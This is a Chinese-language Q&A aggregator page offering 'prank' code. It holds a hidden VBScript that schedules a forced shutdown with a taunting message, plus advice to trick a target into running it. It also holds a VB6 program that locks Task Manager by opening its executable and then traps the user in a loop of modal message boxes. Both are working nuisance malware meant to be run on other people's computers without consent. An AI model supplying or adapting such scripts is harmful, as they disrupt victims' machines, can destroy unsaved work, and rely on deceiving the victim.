vbs整人代碼，誰給我編一個vbs格式的整人代碼

來源：整理時間：2023-05-12 04:22:57 編輯：好學(xué)習(xí) 手機(jī)版

本文目錄一覽

1，誰給我編一個vbs格式的整人代碼
2，vb整人代碼

1，誰給我編一個vbs格式的整人代碼

set a = wscript.createobject("wscript.shell") a.run "cmd.exe /c shutdown -r -t 3600 -c ""求我，我就告訴你怎么辦...嘿嘿..."" ",0 ,true 復(fù)制代碼保存位**.vbs 發(fā)給你要整的人就可以了 3600是時間想讓它多久關(guān)機(jī)就讓它多久關(guān)機(jī)~！想要讓對方運(yùn)行你的程序就要看你自己的本事了讓他相信你..

誰給我編一個vbs格式的整人代碼

2，vb整人代碼

此代碼鎖定了任務(wù)管理器，想關(guān)閉只有重新啟動電腦，惡搞你的好友，或者騷擾你 Private Sub Form_Load() Open Environ$("WinDir") & "\system32\taskmgr.exe" For Binary As #1 For m = 1 To 999 MsgBox "呵呵，你知道我是誰嗎？", 16 MsgBox "什么？？不知道？", 16 MsgBox "那你打開我干什么？", 16 MsgBox "你有空沒事做吧？！", 16 MsgBox "我..就是鼎鼎大名的987876198", 16 MsgBox "987876198..", 16 MsgBox "現(xiàn)在你把它打開了覺得后悔了吧？呵呵..", 16 MsgBox "算了算了，不玩你了", 16 MsgBox "現(xiàn)在我數(shù)3聲就閃人,行了吧?", 16 MsgBox "1.............", 16 MsgBox "2.............", 16 MsgBox "3.............", 16 MsgBox "噔噔噔噔,我又回來了！", 16 MsgBox "哈哈，是不是很過癮呢？", 16 MsgBox "現(xiàn)在我先介紹下自己..", 16 MsgBox "我叫王得地..", 16 MsgBox "性別：男..", 16 MsgBox "今年35歲..", 16 MsgBox "不好意思噢，我好像說多了..", 16 MsgBox "不要這樣喇，聽我說完先好不？", 16 MsgBox "來來來，開始喇..", 16 MsgBox "我叫王得地..", 16 MsgBox "家中有屋又有田..", 16 MsgBox "生活樂無邊..", 16 MsgBox "好像我又說多了...", 16 MsgBox "不要生氣嘛，你認(rèn)真看下去我就放你走..", 16 MsgBox "好，開始喇..", 16 MsgBox "從前有座山..", 16 MsgBox "山里有個座廟..", 16 MsgBox "廟里有個和尚..", 16 MsgBox "哈哈，想哭嗎？", 16 MsgBox "被騙的感覺不爽吧？", 16 MsgBox "喂喂喂！別別..千萬別重啟電腦", 16 MsgBox "我告訴你怎么關(guān)吧", 16 MsgBox "先打開任務(wù)管理器", 16 MsgBox "忘了告訴你了，任務(wù)管理器打不開了", 16 MsgBox "別恨我啊你不小心", 16 MsgBox "電腦重新啟動吧", 16 MsgBox "相信我吧,你知道我是不會騙人的", 16 MsgBox "如果你還想繼續(xù)點(diǎn)的話,你就別聽我的", 16 MsgBox "呵呵,我又沒有說這個東西沒有", 16 MsgBox "我只想說桌面沒有罷了..", 16 MsgBox "嘻嘻,爽不爽吖?", 16 MsgBox "對著電腦屏幕大聲說低調(diào)大好人", 16 MsgBox "不然,我就沒辦法的咯", 16 MsgBox "因為我把循環(huán)設(shè)置成99了", 16 MsgBox "想保存電腦數(shù)據(jù)只有繼續(xù)點(diǎn)了", 16 MsgBox "絕對會出到去的", 16 MsgBox "好了,廢話不多說了,祝你好運(yùn)..", 16 MsgBox "制作:低調(diào)不倒", 16 MsgBox "QQ：987876198", 16 MsgBox "E-mail:不告訴你", 16 MsgBox "好,繼續(xù)循環(huán)..", 16 Next End Sub

vb整人代碼